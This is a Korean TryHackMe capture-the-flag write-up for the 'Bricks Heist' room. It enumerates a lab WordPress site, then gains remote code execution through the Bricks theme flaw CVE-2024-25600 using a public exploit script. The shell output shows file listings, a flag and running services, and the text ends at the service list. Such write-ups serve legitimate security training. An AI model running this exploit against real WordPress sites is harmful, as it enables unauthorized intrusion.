anjai7/tryhack3m-bricks-heistTryHackMe CTF writeup — WordPress RCE via CVE-2024-25600, 암호화폐 채굴기 포렌식 및 LockBit 랜섬웨어 그룹 식별
target:10.201.6.98 열거
nmap -A 10.201.6.98
"brick by brick"이라는 이름의 WordPress가 있고 이 방의 이름이 brick이므로, 거기서 취약점을 찾을 수 있을 것입니다.
그러니 WordPress를 열거해 봅시다.
wpscan --url https://bricks.thm --disable-tls-checks
tls-checks를 활성화하면 작동하지 않습니다.
여기 brick에 대한 또 다른 참조가 있습니다. 이 테마에 취약점이 있는지 확인해 봅시다.
bricks 1.9.5 취약점을 검색하면 RCE가 보이고, 방에서 RCE CVE를 키로 볼 수 있으므로 이것이 올바른 경로일 것입니다.
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT 저는 이 저장소의 코드를 사용했습니다.
python CVE-2024-25600.py --url https://bricks.thm --threads 10
몇 가지 모듈도 설치해야 합니다.
그러면 첫 번째 답을 얻을 수 있습니다.Shell> ls -la
total 260
drwxr-xr-x 7 apache apache 4096 Aug 9 12:34 .
drwxr-xr-x 3 root root 4096 Apr 2 2024 ..
-rw-r--r-- 1 apache apache 523 Apr 2 2024 .htaccess
-rw-r--r-- 1 root root 43 Apr 5 2024 650c844110baced87e1606453b93f22a.txt
-rw-r--r-- 1 apache apache 405 Apr 2 2024 index.php
drwxr-xr-x 7 apache apache 4096 Apr 12 2023 kod
-rw-r--r-- 1 apache apache 19915 Apr 4 2024 license.txt
drwxr-xr-x 15 apache apache 4096 Apr 2 2024 phpmyadmin
-rw-r--r-- 1 apache apache 7401 Apr 4 2024 readme.html
-rw-r--r-- 1 apache apache 7387 Apr 4 2024 wp-activate.php
drwxr-xr-x 9 apache apache 4096 Apr 2 2024 wp-admin
-rw-r--r-- 1 apache apache 351 Apr 2 2024 wp-blog-header.php
-rw-r--r-- 1 apache apache 2323 Apr 2 2024 wp-comments-post.php
-rw-r--r-- 1 apache apache 3012 Apr 4 2024 wp-config-sample.php
-rw-rw-rw- 1 apache apache 3288 Apr 2 2024 wp-config.php
drwxr-xr-x 6 apache apache 4096 Aug 9 12:34 wp-content
-rw-r--r-- 1 apache apache 5638 Apr 2 2024 wp-cron.php
drwxr-xr-x 30 apache apache 16384 Apr 4 2024 wp-includes
-rw-r--r-- 1 apache apache 2502 Apr 2 2024 wp-links-opml.php
-rw-r--r-- 1 apache apache 3927 Apr 2 2024 wp-load.php
-rw-r--r-- 1 apache apache 50917 Apr 4 2024 wp-login.php
-rw-r--r-- 1 apache apache 8525 Apr 2 2024 wp-mail.php
-rw-r--r-- 1 apache apache 28427 Apr 4 2024 wp-settings.php
-rw-r--r-- 1 apache apache 34385 Apr 2 2024 wp-signup.php
-rw-r--r-- 1 apache apache 4885 Apr 2 2024 wp-trackback.php
-rw-r--r-- 1 apache apache 3246 Apr 4 2024 xmlrpc.php
Shell> cat 650c844110baced87e1606453b93f22a.txt
THM{fl46_650c844110baced87e1606453b93f22a}
이제 첫 번째 질문의 답을 찾았습니다. 두 번째로 넘어가 봅시다.
Shell> systemctl | grep running
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
acpid.path loaded active running ACPI Events Check
init.scope loaded active running System and Service Manager
session-c1.scope loaded active running Session c1 of user lightdm
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
atd.service loaded active running Deferred execution scheduler
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
[email protected] loaded active running Getty on tty1
httpd.service loaded active running LSB: starts Apache Web Server
irqbalance.service loaded active running irqbalance daemon
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
lightdm.service loaded active running Light Display Manager
ModemManager.service loaded active running Modem Manager
multipathd.service loaded active running Device-Mapper Multipath Device Controller
mysqld.service loaded active running LSB: start and stop MySQL
networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
NetworkManager.service loaded active running Network Manager
polkit.service loaded active running Authorization Manager
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
[email protected] loaded active running Serial Getty on ttyS0
snap.amazon-ssm-agent.amazon-ssm-agent.service loaded active running Service for snap application amazon-ssm-agent.amazon-ssm-agent
snapd.service loaded active running Snap Daemon
ssh.service loaded active running OpenBSD Secure Shell server
switcheroo-control.service loaded active running Switcheroo Control Proxy service